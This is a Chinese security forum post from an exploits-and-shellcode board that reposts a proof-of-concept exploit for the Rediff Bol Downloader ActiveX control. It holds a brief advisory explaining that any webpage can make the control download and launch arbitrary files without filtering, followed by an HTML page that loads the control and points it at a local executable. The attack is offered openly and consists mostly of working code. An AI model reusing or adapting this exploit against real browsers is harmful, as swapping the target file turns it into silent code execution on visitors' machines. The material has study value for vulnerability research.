Rediff Bol Downloader (ActiveX Control) Execute Local File Exploit

pub!1c

魔

团队执行官

Rank: 8 Rank: 8

E.S.T核心成员

帖子: 3926
精华: 128
积分: 209876
阅读权限: 200
性别: 男
在线时间: 1117 小时
注册时间: 2007-10-23
最后登录: 2008-11-17

资料收集奖运营支持奖

发短消息
加为好友
当前离线

楼主大中小发表于 2007-1-2 11:56 只看该作者

Rediff Bol Downloader (ActiveX Control) Execute Local File Exploit

复制内容到剪贴板

代码:

</p><pre><!--
Rediff Bol Downloader ActiveX Allows Downloading and Spawning Arbitary
Files
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Affected Program : Rediff Bol Download ActiveX
ActiveX (OCX) Control that downloads the Rediff Bol Messenger
setup and spawns it.


Related URL : [url]http://messenger.rediff.com/newbol/[/url]


Discovered by : Gregory R. Panakkal


Vulnerability Description :

Rediff Bol Downloader ActiveX control allows any webpage
to download and spawn file. These file can be of any type.
No filtering is done.

IE Displays an alert, if the code points to a executable file on the
internet. But execution of local files displays no alert.


Tested On :
* IE 7.0.5730.11 (WinXP SP2)
* IE 6.0.2900.2180 (WinXP SP2)
-->

<html>

<body>
<OBJECT id="rboldwn" WIDTH=445 HEIGHT=40 classid="clsid:BADA82CB-BF48-4D76-9611-78E2C6F49F03" codebase="[url]http://imdownloads.rediff.com/newbol/Bol.CAB">[/url]
</OBJECT>

<script language="vbscript">
 rboldwn.url = "file://C:/WINNT/Notepad.exe"
 rboldwn.fontsize = 14
 rboldwn.barcolor = EE4E00
 rboldwn.start = "start"
</script>

</body>
</html>
</pre><p>

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » Rediff Bol Downloader (ActiveX Control) Execute Local File Exploit